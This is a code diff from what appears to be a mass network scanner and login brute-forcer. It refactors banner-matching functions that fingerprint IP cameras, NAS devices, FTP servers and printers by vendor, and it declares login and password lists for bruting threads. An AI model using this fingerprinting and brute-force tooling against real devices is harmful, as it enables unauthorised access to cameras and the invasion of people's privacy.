|
||||
&& Utils::ustrstr(*buffer, std::string("invalid")) == -1
|
||||
&& Utils::ustrstr(*buffer, std::string("err")) == -1
|
||||
&& Utils::ustrstr(*buffer, std::string(".href")) == -1
|
||||
&& Utils::ustrstr(*buffer, std::string(".replace")) == -1
|
||||
&& Utils::ustrstr(*buffer, std::string(".location")) == -1
|
||||
&& Utils::ustrstr(*buffer, std::string("501 not implemented")) == -1
|
||||
&& Utils::ustrstr(*buffer, std::string("http-equiv")) == -1
|
||||
&& Utils::ustrstr(*buffer, std::string("busy")) == -1
|
||||
&& Utils::ustrstr(*buffer, std::string("later")) == -1
|
||||
&& Utils::ustrstr(*buffer, std::string("forbidden")) == -1
|
||||
) {
|
||||
|
||||
stt->doEmition_BAGreenData("[+] " + QString(ip) + ":" + QString::number(port) + " - WF pass: " +
|
||||
@ -36,9 +36,9 @@ lopaStr WFClass::parseResponse(const char *ip,
|
||||
|
||||
} else {
|
||||
|
||||
if(Utils::ci_find_substr(*buffer, std::string("501 not implemented")) != -1) stt->doEmitionRedFoundData("<a href=\"http://" + QString(ip) + ":" + QString::number(port) + "\"><font color=\"#c3c3c3\">" + QString(ip) + ":" + QString::number(port) + "</font></a> - [WF]: 501 Not Implemented.");
|
||||
if(Utils::ustrstr(*buffer, std::string("501 not implemented")) != -1) stt->doEmitionRedFoundData("<a href=\"http://" + QString(ip) + ":" + QString::number(port) + "\"><font color=\"#c3c3c3\">" + QString(ip) + ":" + QString::number(port) + "</font></a> - [WF]: 501 Not Implemented.");
|
||||
|
||||
if(Utils::ci_find_substr(*buffer, std::string("404 not found")) != -1) stt->doEmitionRedFoundData("<a href=\"http://" + QString(ip) + ":" + QString::number(port) + "\"><font color=\"#c3c3c3\">" + QString(ip) + ":" + QString::number(port) + "</font></a> - [WF]: 404 Not Found.");
|
||||
if(Utils::ustrstr(*buffer, std::string("404 not found")) != -1) stt->doEmitionRedFoundData("<a href=\"http://" + QString(ip) + ":" + QString::number(port) + "\"><font color=\"#c3c3c3\">" + QString(ip) + ":" + QString::number(port) + "</font></a> - [WF]: 404 Not Found.");
|
||||
|
||||
return result;
|
||||
}
|
||||
|
22
externData.h
22
externData.h
@ -1,5 +1,6 @@
|
||||
#ifndef EXTERNDATA_H
|
||||
#define EXTERNDATA_H
|
||||
#include <atomic>
|
||||
|
||||
#include <qjsonarray.h>
|
||||
#define RECV_MAX_SIZE 350000
|
||||
@ -22,24 +23,24 @@ extern QJsonArray *jsonArr;
|
||||
|
||||
extern unsigned long long gTargetsNumber;
|
||||
extern long long unsigned int gTargets;
|
||||
extern volatile int cons, BrutingThrds, gThreads;
|
||||
extern char **loginLst, **passLst, **wfLoginLst, **wfPassLst, **sshlpLst, **GlobalNegatives;
|
||||
extern bool trackerOK, __savingBackUpFile, globalScanFlag, MapWidgetOpened,
|
||||
widgetIsHidden, OnlineMsgSentFlag, HTMLDebugMode, gNegDebugMode,
|
||||
extern std::atomic<int> cons, BrutingThrds, gThreads;
|
||||
extern char **loginLst, **passLst, **wfLoginLst, **wfPassLst, **sshlpLst;
|
||||
extern bool trackerOK, globalScanFlag, MapWidgetOpened,
|
||||
widgetIsHidden, gNegDebugMode,
|
||||
gDebugMode, horLineFlag, gPingNScan, gShuffle,
|
||||
BALogSwitched;
|
||||
extern int found, indexIP, gMode,
|
||||
MaxPass, MaxLogin, MaxWFLogin, MaxWFPass, MaxSSHPass,
|
||||
GlobalNegativeSize, gMaxBrutingThreads,
|
||||
gMaxBrutingThreads,
|
||||
gTimeOut, PieAnomC1, PieSusp, PieBA, PieLowl, PieWF, PieSSH,
|
||||
gThreadDelay, AnomC1, Filt, Overl, Lowl, Alive, saved,
|
||||
AnomC1, filtered, Overl, Lowl, Alive, saved,
|
||||
Susp,
|
||||
WF,
|
||||
baCount,
|
||||
offlines, ssh, globalPinger, gPingTimeout, nickFlag, offlineFlag;
|
||||
ssh, globalPinger, gPingTimeout;
|
||||
extern unsigned int Activity;
|
||||
extern char trcSrv[256], trcScr[256], trcProxy[128], trcPersKey[64],
|
||||
trcPort[32], trcSrvPortLine[32], saveEndIP[128],
|
||||
trcPort[32], trcSrvPortLine[32],
|
||||
gTLD[128], gPorts[65536],
|
||||
gProxyIP[64], gProxyPort[8],
|
||||
currentIP[MAX_ADDR_LEN],
|
||||
@ -47,9 +48,4 @@ extern char trcSrv[256], trcScr[256], trcProxy[128], trcPersKey[64],
|
||||
|
||||
extern char gVER[32];
|
||||
|
||||
struct pl{
|
||||
int loginCounter;
|
||||
int passCounter;
|
||||
};
|
||||
|
||||
#endif // EXTERNDATA
|
||||
|
@ -2,12 +2,6 @@
|
||||
#define EF_H
|
||||
|
||||
extern std::string toLowerStr(const char *str);
|
||||
extern int startScan(char* argv);
|
||||
extern QString GetNSErrorDefinition(const char *str, const char *defin);
|
||||
extern char* strstri(const char *_Str, const char *_SubStr);
|
||||
extern void getSubStr(char *src, char *startStr, char *endStr, char *dest, int szDest);
|
||||
extern void getSubStrEx(char *src, char *startStr, char *endStr, char *dest, int szDest);
|
||||
extern char *_findFirst(const char *str, char *delim);
|
||||
|
||||
|
||||
#endif // EF_H
|
||||
|
427
finder.cpp
427
finder.cpp
@ -10,6 +10,40 @@
|
||||
#include <memory>
|
||||
#include "FileUpdater.h"
|
||||
#include "IPCAuth.h"
|
||||
#include <qjsonobject.h>
|
||||
|
||||
unsigned char tl(unsigned char d)
|
||||
{
|
||||
if (d >= 192 && d <= 223)
|
||||
{
|
||||
return (unsigned char)(d + 32);
|
||||
}
|
||||
else
|
||||
{
|
||||
return tolower(d);
|
||||
};
|
||||
}
|
||||
|
||||
std::string toLowerStr(const char *str)
|
||||
{
|
||||
if (str != NULL) {
|
||||
int tsz = strlen(str);
|
||||
char *strr = new char[tsz + 1];
|
||||
ZeroMemory(strr, tsz);
|
||||
|
||||
for (int i = 0; i < tsz; i++)
|
||||
{
|
||||
strr[i] = tl(str[i]);
|
||||
};
|
||||
|
||||
memset(strr + tsz, '\0', 1);
|
||||
|
||||
std::string tstr = std::string(strr);
|
||||
delete[]strr;
|
||||
return tstr;
|
||||
}
|
||||
else return "";
|
||||
}
|
||||
|
||||
char* strstri(const char *_Str, const char *_SubStr)
|
||||
{
|
||||
@ -187,60 +221,69 @@ char *GetCodePage(const char *str)
|
||||
};
|
||||
}
|
||||
|
||||
int globalSearchNeg(const char *buffcpy, const char *ip, int port)
|
||||
int globalSearchNeg(const std::string buff, const char *ip, int port, const char *cp)
|
||||
{
|
||||
QTextCodec *nCodec = QTextCodec::codecForName("Windows-1251");
|
||||
for(int i = 0; i < GlobalNegativeSize; ++i)
|
||||
QTextCodec *codec;
|
||||
QString codedStr;
|
||||
|
||||
if (strstri(cp, "shift_jis") != NULL)
|
||||
{
|
||||
codec = QTextCodec::codecForName("Shift-JIS");
|
||||
codedStr = codec->toUnicode(buff.c_str());
|
||||
}
|
||||
else if (strstri(cp, "utf") != NULL)
|
||||
{
|
||||
codec = QTextCodec::codecForName("UTF-8");
|
||||
codedStr = codec->toUnicode(buff.c_str());
|
||||
}
|
||||
else if (strstri(cp, "cp") != NULL || strstri(cp, "windows") != NULL)
|
||||
{
|
||||
codec = QTextCodec::codecForName("Windows-1251");
|
||||
codedStr = codec->toUnicode(buff.c_str());
|
||||
}
|
||||
else if (strstri(cp, "gb") != NULL)
|
||||
{
|
||||
codec = QTextCodec::codecForName("GB2312");
|
||||
codedStr = codec->toUnicode(buff.c_str());
|
||||
}
|
||||
else codedStr = QString(buff.c_str());
|
||||
|
||||
for (auto negEntry : FileUpdater::negativeVector) {
|
||||
FileUpdater::cv.wait(FileUpdater::lk, []{return FileUpdater::ready; });
|
||||
if (!globalScanFlag) return -1;
|
||||
|
||||
if(strstr(buffcpy, GlobalNegatives[i]) != NULL)
|
||||
{
|
||||
if (Utils::ustrstr(std::string(codedStr.toLocal8Bit().data()), negEntry) != -1){
|
||||
if (gNegDebugMode)
|
||||
{
|
||||
QTextCodec *nCodec = QTextCodec::codecForName("Windows-1251");
|
||||
stt->doEmitionDebugFoundData("[<a href=\"http://" + QString(ip) + ":" + QString::number(port) +
|
||||
"/\"><font color=\"#0084ff\">" + QString(ip) + ":" + QString::number(port) +
|
||||
"</font></a>" + "]\tNegative hit: \"" + nCodec->toUnicode(GlobalNegatives[i]).toHtmlEscaped() + "\"");
|
||||
if(strlen(GlobalNegatives[i]) < 2)
|
||||
{
|
||||
stt->doEmitionDebugFoundData(" Len:" + QString::number(strlen(GlobalNegatives[i])));
|
||||
};
|
||||
if(strcmp(GlobalNegatives[i], "") == 0)
|
||||
{
|
||||
stt->doEmitionDebugFoundData("Empty hit!");
|
||||
};
|
||||
if(strcmp(GlobalNegatives[i], " ") == 0)
|
||||
{
|
||||
stt->doEmitionDebugFoundData("Space hit!");
|
||||
};
|
||||
};
|
||||
|
||||
++Filt;
|
||||
return -1;
|
||||
};
|
||||
};
|
||||
"</font></a>" + "]\tNegative hit: \"" + nCodec->toUnicode(negEntry.c_str()).toHtmlEscaped()
|
||||
+ "\"");
|
||||
}
|
||||
|
||||
int globalSearchPrnt(const char *buffcpy)
|
||||
++filtered;
|
||||
return -1;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
int globalSearchPrnt(const std::string buffcpy)
|
||||
{
|
||||
if(strstr(buffcpy, "en/_top.htm") != NULL || strstr(buffcpy, "cannon http server") != NULL
|
||||
|| strstr(buffcpy, "konica minolta") != NULL || strstr(buffcpy, "/eng/home_frm.htm") != NULL
|
||||
|| strstr(buffcpy, "networkScanner webserver") != NULL || strstr(buffcpy, "/eng/htm/top.htm") != NULL
|
||||
|| strstr(buffcpy, "pages/t_ixdmy.htm") != NULL
|
||||
|| strstr(buffcpy, "/web/guest/") != NULL || strstr(buffcpy, "printerInfo") != NULL
|
||||
|| strstr(buffcpy, "hp photosmart") != NULL
|
||||
|| strstr(buffcpy, "menu and") != NULL
|
||||
|| strstr(buffcpy, "hewlett packard") != NULL
|
||||
|| strstr(buffcpy, "laserjet") != NULL || strstr(buffcpy, "supplies summary") != NULL
|
||||
|| strstr(buffcpy, "seiko epson") != NULL || strstr(buffcpy, "ink_y.png") != NULL
|
||||
|| strstr(buffcpy, "epsonnet") != NULL || strstr(buffcpy, "printer name") != NULL
|
||||
if(Utils::ustrstr(buffcpy, "en/_top.htm") != -1 || Utils::ustrstr(buffcpy, "cannon http server") != -1
|
||||
|| Utils::ustrstr(buffcpy, "konica minolta") != -1 || Utils::ustrstr(buffcpy, "/eng/home_frm.htm") != -1
|
||||
|| Utils::ustrstr(buffcpy, "networkScanner webserver") != -1 || Utils::ustrstr(buffcpy, "/eng/htm/top.htm") != -1
|
||||
|| Utils::ustrstr(buffcpy, "pages/t_ixdmy.htm") != -1
|
||||
|| Utils::ustrstr(buffcpy, "/web/guest/") != -1 || Utils::ustrstr(buffcpy, "printerInfo") != -1
|
||||
|| Utils::ustrstr(buffcpy, "hp photosmart") != -1
|
||||
|| Utils::ustrstr(buffcpy, "menu and") != -1
|
||||
|| Utils::ustrstr(buffcpy, "hewlett packard") != -1
|
||||
|| Utils::ustrstr(buffcpy, "laserjet") != -1 || Utils::ustrstr(buffcpy, "supplies summary") != -1
|
||||
|| Utils::ustrstr(buffcpy, "seiko epson") != -1 || Utils::ustrstr(buffcpy, "ink_y.png") != -1
|
||||
|| Utils::ustrstr(buffcpy, "epsonnet") != -1 || Utils::ustrstr(buffcpy, "printer name") != -1
|
||||
)
|
||||
{
|
||||
if(gNegDebugMode)
|
||||
{
|
||||
stt->doEmitionDebugFoundData("Printer detected.");
|
||||
};
|
||||
if(gNegDebugMode) stt->doEmitionDebugFoundData("Printer detected.");
|
||||
|
||||
return -1;
|
||||
};
|
||||
@ -248,95 +291,95 @@ int globalSearchPrnt(const char *buffcpy)
|
||||
return 0;
|
||||
}
|
||||
|
||||
int sharedDetector(const char * ip, int port, const char *buffcpy) {
|
||||
int sharedDetector(const char * ip, int port, const std::string buffcpy, const char *cp) {
|
||||
|
||||
if(strstr(buffcpy, "401 authorization") != NULL || strstr(buffcpy, "401 unauthorized") != NULL
|
||||
|| (strstr(buffcpy, "www-authenticate") != NULL && strstr(buffcpy, "401 ") != NULL )
|
||||
|| strstr(buffcpy, "401 unauthorized access denied") != NULL
|
||||
|| strstr(buffcpy, "401 unauthorised") != NULL || (strstr(buffcpy, "www-authenticate") != NULL
|
||||
&& strstr(buffcpy, " 401\r\n") != NULL)
|
||||
if(Utils::ustrstr(buffcpy, "401 authorization") != -1 || Utils::ustrstr(buffcpy, "401 unauthorized") != -1
|
||||
|| (Utils::ustrstr(buffcpy, "www-authenticate") != -1 && Utils::ustrstr(buffcpy, "401 ") != -1 )
|
||||
|| Utils::ustrstr(buffcpy, "401 unauthorized access denied") != -1
|
||||
|| Utils::ustrstr(buffcpy, "401 unauthorised") != -1 || (Utils::ustrstr(buffcpy, "www-authenticate") != -1
|
||||
&& Utils::ustrstr(buffcpy, " 401\r\n") != -1)
|
||||
) {
|
||||
if(strstr(buffcpy, "digest realm") != NULL && strstr(buffcpy, "basic realm") == NULL) {
|
||||
if(Utils::ustrstr(buffcpy, "digest realm") != -1 && Utils::ustrstr(buffcpy, "basic realm") == -1) {
|
||||
return 101;
|
||||
} else return 1;
|
||||
};
|
||||
if(strstr(buffcpy, "netwave ip camera")) return 11;
|
||||
if(strstr(buffcpy, "live view / - axis")) return 12;
|
||||
if(strstr(buffcpy, "vilar ipcamera")) return 13;
|
||||
if(strstr(buffcpy, "window.location = \"rdr.cgi\"")) return 14;
|
||||
if(strstr(buffcpy, "httpfileserver")) return 15;
|
||||
if(strstr(buffcpy, "real-time ip camera monitoring system") != NULL
|
||||
|| strstr(buffcpy, "server push mode") != NULL
|
||||
if (Utils::ustrstr(buffcpy, "netwave ip camera") != -1) return 11;
|
||||
if (Utils::ustrstr(buffcpy, "live view / - axis") != -1) return 12;
|
||||
if (Utils::ustrstr(buffcpy, "vilar ipcamera") != -1) return 13;
|
||||
if (Utils::ustrstr(buffcpy, "window.location = \"rdr.cgi\"") != -1) return 14;
|
||||
if (Utils::ustrstr(buffcpy, "httpfileserver") != -1) return 15;
|
||||
if(Utils::ustrstr(buffcpy, "real-time ip camera monitoring system") != -1
|
||||
|| Utils::ustrstr(buffcpy, "server push mode") != -1
|
||||
) return 17; //Real-time IP Camera Monitoring System
|
||||
if(strstr(buffcpy, "linksys.com") != NULL && strstr(buffcpy, "tm05") != NULL) return 18; //linksys.com cameras
|
||||
if(strstr(buffcpy, "reecam ip camera") != NULL) return 19; //reecam cameras
|
||||
if(strstr(buffcpy, "/view/viewer_index.shtml") != NULL) return 20; //axis cameras
|
||||
if(strstr(buffcpy, "bridge eyeon") != NULL) return 21; //Bridge Eyeon
|
||||
if(strstr(buffcpy, "ip camera control webpage") != NULL && strstr(buffcpy, "/main/cs_motion.asp") != NULL) return 22; //ip camera control
|
||||
if(strstr(buffcpy, "network camera") != NULL && strstr(buffcpy, "/live/index2.html") != NULL) return 23; //network camera BB-SC384
|
||||
if(strstr(buffcpy, "network camera") != NULL && strstr(buffcpy, "/viewer/live/en/live.html") != NULL) return 24; //Network Camera VB-M40
|
||||
if(strstr(buffcpy, "panasonic ") != NULL && strstr(buffcpy, ":60002/snapshotjpeg") != NULL) return 25; //Panasonic wtfidonteven-camera
|
||||
if(strstr(buffcpy, "sony network camera") != NULL && strstr(buffcpy, "/command/inquiry.cgi?") != NULL) return 26; //Sony Network Camera
|
||||
if(strstr(buffcpy, "network camera") != NULL && strstr(buffcpy, "src=\"webs.cgi?") != NULL) return 27; //UA Network Camera
|
||||
if(strstr(buffcpy, "network camera") != NULL && strstr(buffcpy, "/viewer/live/index.html") != NULL) return 28; //Network Camera VB-M40
|
||||
if(strstr(buffcpy, "lg smart ip device") != NULL) return 29; //LG Smart IP Device Camera
|
||||
if(strstr(buffcpy, "/view/viewer_index.shtml") != NULL) return 20; //axis cameras
|
||||
if(strstr(buffcpy, "nas") != NULL && strstr(buffcpy, "/cgi-bin/data/viostor-220/viostor/viostor.cgi") != NULL) return 30; //NAX
|
||||
if(strstr(buffcpy, "ip camera") != NULL && strstr(buffcpy, "check_user.cgi") != NULL) return 31; //axis cameras
|
||||
if(strstr(buffcpy, "ws(\"user\");") != NULL && strstr(buffcpy, "src=\"/tool.js") != NULL
|
||||
&& strstr(buffcpy, "<b class=\"xb1\"></b>") != NULL) return 32; //web ip cam
|
||||
if(strstr(buffcpy, "geovision") != NULL
|
||||
&& (strstr(buffcpy, "ip camera") != NULL
|
||||
|| strstr(buffcpy, "ssi.cgi/login.htm") != NULL)) return 33; //GEO web ip cam
|
||||
if(Utils::ustrstr(buffcpy, "linksys.com") != -1 && Utils::ustrstr(buffcpy, "tm05") != -1) return 18; //linksys.com cameras
|
||||
if(Utils::ustrstr(buffcpy, "reecam ip camera") != -1) return 19; //reecam cameras
|
||||
if(Utils::ustrstr(buffcpy, "/view/viewer_index.shtml") != -1) return 20; //axis cameras
|
||||
if(Utils::ustrstr(buffcpy, "bridge eyeon") != -1) return 21; //Bridge Eyeon
|
||||
if(Utils::ustrstr(buffcpy, "ip camera control webpage") != -1 && Utils::ustrstr(buffcpy, "/main/cs_motion.asp") != -1) return 22; //ip camera control
|
||||
if(Utils::ustrstr(buffcpy, "network camera") != -1 && Utils::ustrstr(buffcpy, "/live/index2.html") != -1) return 23; //network camera BB-SC384
|
||||
if(Utils::ustrstr(buffcpy, "network camera") != -1 && Utils::ustrstr(buffcpy, "/viewer/live/en/live.html") != -1) return 24; //Network Camera VB-M40
|
||||
if(Utils::ustrstr(buffcpy, "panasonic ") != -1 && Utils::ustrstr(buffcpy, ":60002/snapshotjpeg") != -1) return 25; //Panasonic wtfidonteven-camera
|
||||
if(Utils::ustrstr(buffcpy, "sony network camera") != -1 && Utils::ustrstr(buffcpy, "/command/inquiry.cgi?") != -1) return 26; //Sony Network Camera
|
||||
if(Utils::ustrstr(buffcpy, "network camera") != -1 && Utils::ustrstr(buffcpy, "src=\"webs.cgi?") != -1) return 27; //UA Network Camera
|
||||
if(Utils::ustrstr(buffcpy, "network camera") != -1 && Utils::ustrstr(buffcpy, "/viewer/live/index.html") != -1) return 28; //Network Camera VB-M40
|
||||
if(Utils::ustrstr(buffcpy, "lg smart ip device") != -1) return 29; //LG Smart IP Device Camera
|
||||
if(Utils::ustrstr(buffcpy, "/view/viewer_index.shtml") != -1) return 20; //axis cameras
|
||||
if(Utils::ustrstr(buffcpy, "nas") != -1 && Utils::ustrstr(buffcpy, "/cgi-bin/data/viostor-220/viostor/viostor.cgi") != -1) return 30; //NAX
|
||||
if(Utils::ustrstr(buffcpy, "ip camera") != -1 && Utils::ustrstr(buffcpy, "check_user.cgi") != -1) return 31; //axis cameras
|
||||
if(Utils::ustrstr(buffcpy, "ws(\"user\");") != -1 && Utils::ustrstr(buffcpy, "src=\"/tool.js") != -1
|
||||
&& Utils::ustrstr(buffcpy, "<b class=\"xb1\"></b>") != -1) return 32; //web ip cam
|
||||
if(Utils::ustrstr(buffcpy, "geovision") != -1
|
||||
&& (Utils::ustrstr(buffcpy, "ip camera") != -1
|
||||
|| Utils::ustrstr(buffcpy, "ssi.cgi/login.htm") != -1)) return 33; //GEO web ip cam
|
||||
|
||||
if(strstr(buffcpy, "hikvision-webs") != NULL
|
||||
|| (strstr(buffcpy, "hikvision digital") != NULL && strstr(buffcpy, "dvrdvs-webs") != NULL)
|
||||
|| (strstr(buffcpy, "lapassword") != NULL && strstr(buffcpy, "lausername") != NULL && strstr(buffcpy, "dologin()") != NULL)) return 34; //hikvision cam
|
||||
if((strstr(buffcpy, "easy cam") != NULL && strstr(buffcpy, "easy life") != NULL)
|
||||
|| (strstr(buffcpy, "ipcamera") != NULL && strstr(buffcpy, "/tool.js") != NULL)) return 35; //EasyCam
|
||||
if(strstr(buffcpy, "/config/cam_portal.cgi") != NULL || strstr(buffcpy, "/config/easy_index.cgi") != NULL) return 36; //Panasonic Cam
|
||||
if(strstr(buffcpy, "panasonic") != NULL && strstr(buffcpy, "/view/getuid.cgi") != NULL) return 37; //Panasonic Cam WJ-HD180
|
||||
if(strstr(buffcpy, "ipcam client") != NULL && strstr(buffcpy, "plugins.xpi") != NULL && strstr(buffcpy, "js/upfile.js") != NULL) return 38; //Foscam
|
||||
if(strstr(buffcpy, "ip surveillance") != NULL && strstr(buffcpy, "customer login") != NULL) return 39; //EagleEye
|
||||
if(strstr(buffcpy, "network camera") != NULL && strstr(buffcpy, "/admin/index.shtml?") != NULL) return 40; //Network Camera VB-C300
|
||||
if(strstr(buffcpy, "sq-webcam") != NULL && strstr(buffcpy, "liveview.html") != NULL) return 41; //AVIOSYS-camera
|
||||
if(strstr(buffcpy, "nw_camera") != NULL && strstr(buffcpy, "/cgi-bin/getuid") != NULL) return 42; //NW_camera
|
||||
if(strstr(buffcpy, "micros") != NULL && strstr(buffcpy, "/gui/gui_outer_frame.shtml") != NULL) return 43; //NW_camera
|
||||
if(strstr(buffcpy, "lapassword") != NULL
|
||||
&& strstr(buffcpy, "lausername") != NULL
|
||||
&& strstr(buffcpy, "g_ologin.dologin()") != NULL
|
||||
if(Utils::ustrstr(buffcpy, "hikvision-webs") != -1
|
||||
|| (Utils::ustrstr(buffcpy, "hikvision digital") != -1 && Utils::ustrstr(buffcpy, "dvrdvs-webs") != -1)
|
||||
|| (Utils::ustrstr(buffcpy, "lapassword") != -1 && Utils::ustrstr(buffcpy, "lausername") != -1 && Utils::ustrstr(buffcpy, "dologin()") != -1)) return 34; //hikvision cam
|
||||
if((Utils::ustrstr(buffcpy, "easy cam") != -1 && Utils::ustrstr(buffcpy, "easy life") != -1)
|
||||
|| (Utils::ustrstr(buffcpy, "ipcamera") != -1 && Utils::ustrstr(buffcpy, "/tool.js") != -1)) return 35; //EasyCam
|
||||
if(Utils::ustrstr(buffcpy, "/config/cam_portal.cgi") != -1 || Utils::ustrstr(buffcpy, "/config/easy_index.cgi") != -1) return 36; //Panasonic Cam
|
||||
if(Utils::ustrstr(buffcpy, "panasonic") != -1 && Utils::ustrstr(buffcpy, "/view/getuid.cgi") != -1) return 37; //Panasonic Cam WJ-HD180
|
||||
if(Utils::ustrstr(buffcpy, "ipcam client") != -1 && Utils::ustrstr(buffcpy, "plugins.xpi") != -1 && Utils::ustrstr(buffcpy, "js/upfile.js") != -1) return 38; //Foscam
|
||||
if(Utils::ustrstr(buffcpy, "ip surveillance") != -1 && Utils::ustrstr(buffcpy, "customer login") != -1) return 39; //EagleEye
|
||||
if(Utils::ustrstr(buffcpy, "network camera") != -1 && Utils::ustrstr(buffcpy, "/admin/index.shtml?") != -1) return 40; //Network Camera VB-C300
|
||||
if(Utils::ustrstr(buffcpy, "sq-webcam") != -1 && Utils::ustrstr(buffcpy, "liveview.html") != -1) return 41; //AVIOSYS-camera
|
||||
if(Utils::ustrstr(buffcpy, "nw_camera") != -1 && Utils::ustrstr(buffcpy, "/cgi-bin/getuid") != -1) return 42; //NW_camera
|
||||
if(Utils::ustrstr(buffcpy, "micros") != -1 && Utils::ustrstr(buffcpy, "/gui/gui_outer_frame.shtml") != -1) return 43; //NW_camera
|
||||
if(Utils::ustrstr(buffcpy, "lapassword") != -1
|
||||
&& Utils::ustrstr(buffcpy, "lausername") != -1
|
||||
&& Utils::ustrstr(buffcpy, "g_ologin.dologin()") != -1
|
||||
) return 44; //hikvision cam 2
|
||||
if(strstr(buffcpy, "panasonic") != NULL && strstr(buffcpy, "/config/index.cgi") != NULL) return 45; //Panasonic Cam BB-HG???
|
||||
if(strstr(buffcpy, "/ui/") != NULL && strstr(buffcpy, "sencha-touch") != NULL) return 46; //BUFFALO disk
|
||||
if(strstr(buffcpy, "digital video server") != NULL && strstr(buffcpy, "gui.css") != NULL) return 47; //Digital Video Server
|
||||
if(strstr(buffcpy, "/ipcamerasetup.zip") != NULL && strstr(buffcpy, "download player") != NULL
|
||||
&& strstr(buffcpy, "ipcam") != NULL) return 48; //ipCam
|
||||
if(strstr(buffcpy, "dvr") != NULL && strstr(buffcpy, "ieorforefox") != NULL
|
||||
&& strstr(buffcpy, "sofari") != NULL) return 49; //IEORFOREFOX
|
||||
if (strstr(buffcpy, "seyeon") != NULL && (strstr(buffcpy, "/app/multi/single.asp") != NULL
|
||||
|| strstr(buffcpy, "/app/live/sim/single.asp") != NULL)) return 50; //Network Video System
|
||||
if(Utils::ustrstr(buffcpy, "panasonic") != -1 && Utils::ustrstr(buffcpy, "/config/index.cgi") != -1) return 45; //Panasonic Cam BB-HG???
|
||||
if(Utils::ustrstr(buffcpy, "/ui/") != -1 && Utils::ustrstr(buffcpy, "sencha-touch") != -1) return 46; //BUFFALO disk
|
||||
if(Utils::ustrstr(buffcpy, "digital video server") != -1 && Utils::ustrstr(buffcpy, "gui.css") != -1) return 47; //Digital Video Server
|
||||
if(Utils::ustrstr(buffcpy, "/ipcamerasetup.zip") != -1 && Utils::ustrstr(buffcpy, "download player") != -1
|
||||
&& Utils::ustrstr(buffcpy, "ipcam") != -1) return 48; //ipCam
|
||||
if(Utils::ustrstr(buffcpy, "dvr") != -1 && Utils::ustrstr(buffcpy, "ieorforefox") != -1
|
||||
&& Utils::ustrstr(buffcpy, "sofari") != -1) return 49; //IEORFOREFOX
|
||||
if (Utils::ustrstr(buffcpy, "seyeon") != -1 && (Utils::ustrstr(buffcpy, "/app/multi/single.asp") != -1
|
||||
|| Utils::ustrstr(buffcpy, "/app/live/sim/single.asp") != -1)) return 50; //Network Video System
|
||||
|
||||
if(((strstr(buffcpy, "220") != NULL) && (port == 21)) ||
|
||||
(strstr(buffcpy, "220 diskStation ftp server ready") != NULL) ||
|
||||
(strstr(buffcpy, "220 ftp server ready") != NULL)
|
||||
|| strstr(buffcpy, "500 'get': command not understood") != NULL
|
||||
if(((Utils::ustrstr(buffcpy, "220") != -1) && (port == 21)) ||
|
||||
(Utils::ustrstr(buffcpy, "220 diskStation ftp server ready") != -1) ||
|
||||
(Utils::ustrstr(buffcpy, "220 ftp server ready") != -1)
|
||||
|| Utils::ustrstr(buffcpy, "500 'get': command not understood") != -1
|
||||
) return 16; // 16 - FTP
|
||||
|
||||
if((strstr(buffcpy, "camera web server") != NULL || strstr(buffcpy, "webcamxp 5") != NULL
|
||||
|| strstr(buffcpy, "ip box camera") != NULL || strstr(buffcpy, "snaff") != NULL
|
||||
|| strstr(buffcpy, "hfs /") != NULL || strstr(buffcpy, "httpfileserver") != NULL
|
||||
|| strstr(buffcpy, "network camera") != NULL || strstr(buffcpy, "index of") != NULL
|
||||
|| strstr(buffcpy, "$lock extended") != NULL || strstr(buffcpy, "ip camera") != NULL
|
||||
|| strstr(buffcpy, "/viewer/video.jpg") != NULL || strstr(buffcpy, "smart ip device") != NULL
|
||||
|| strstr(buffcpy, "sanpshot_icon") != NULL || strstr(buffcpy, "snapshot_icon") != NULL
|
||||
|| strstr(buffcpy, "ipcam") != NULL)
|
||||
&& strstr(buffcpy, "customer") == NULL
|
||||
&& strstr(buffcpy, "purchase") == NULL
|
||||
&& strstr(buffcpy, "contac") == NULL
|
||||
&& strstr(buffcpy, "company") == NULL
|
||||
if((Utils::ustrstr(buffcpy, "camera web server") != -1 || Utils::ustrstr(buffcpy, "webcamxp 5") != -1
|
||||
|| Utils::ustrstr(buffcpy, "ip box camera") != -1 || Utils::ustrstr(buffcpy, "snaff") != -1
|
||||
|| Utils::ustrstr(buffcpy, "hfs /") != -1 || Utils::ustrstr(buffcpy, "httpfileserver") != -1
|
||||
|| Utils::ustrstr(buffcpy, "network camera") != -1 || Utils::ustrstr(buffcpy, "index of") != -1
|
||||
|| Utils::ustrstr(buffcpy, "$lock extended") != -1 || Utils::ustrstr(buffcpy, "ip camera") != -1
|
||||
|| Utils::ustrstr(buffcpy, "/viewer/video.jpg") != -1 || Utils::ustrstr(buffcpy, "smart ip device") != -1
|
||||
|| Utils::ustrstr(buffcpy, "sanpshot_icon") != -1 || Utils::ustrstr(buffcpy, "snapshot_icon") != -1
|
||||
|| Utils::ustrstr(buffcpy, "ipcam") != -1)
|
||||
&& Utils::ustrstr(buffcpy, "customer") == -1
|
||||
&& Utils::ustrstr(buffcpy, "purchase") == -1
|
||||
&& Utils::ustrstr(buffcpy, "contac") == -1
|
||||
&& Utils::ustrstr(buffcpy, "company") == -1
|
||||
) return 0;
|
||||
|
||||
if(globalSearchNeg(buffcpy, ip, port) == -1) return -1;
|
||||
if(globalSearchNeg(buffcpy, ip, port, cp) == -1) return -1;
|
||||
if(globalSearchPrnt(buffcpy) == -1) return -1;
|
||||
//if(strstr(buffcpy, "<form ") != NULL && strstr(buffcpy, "302 found") == NULL) return 10;
|
||||
//nic.sucks, etc
|
||||
@ -345,76 +388,35 @@ int sharedDetector(const char * ip, int port, const char *buffcpy) {
|
||||
}
|
||||
|
||||
// 500 < 1600
|
||||
int _mainFinderFirst(const char *buffcpy, int f, int port, const char *ip, int sz)
|
||||
int _mainFinderFirst(const std::string buffcpy, int f, int port, const char *ip, const char *cp)
|
||||
{
|
||||
int flag = sharedDetector(ip, port, buffcpy);
|
||||
int flag = sharedDetector(ip, port, buffcpy, cp);
|
||||
if(flag != -2) return flag;
|
||||
if(f) return 7;
|
||||
if(sz > 180000) return 2;
|
||||
|
||||
return 0;
|
||||
}
|
||||
|
||||
//> 1600
|
||||
int _mainFinderSecond(const char *buffcpy, int port, const char *ip)
|
||||
int _mainFinderSecond(const std::string buffcpy, int port, const char *ip, const char *cp)
|
||||
{
|
||||
int flag = sharedDetector(ip, port, buffcpy);
|
||||
int flag = sharedDetector(ip, port, buffcpy, cp);
|
||||
if(flag != -2) return flag;
|
||||
|
||||
return 3; //Suspicious
|
||||
}
|
||||
|
||||
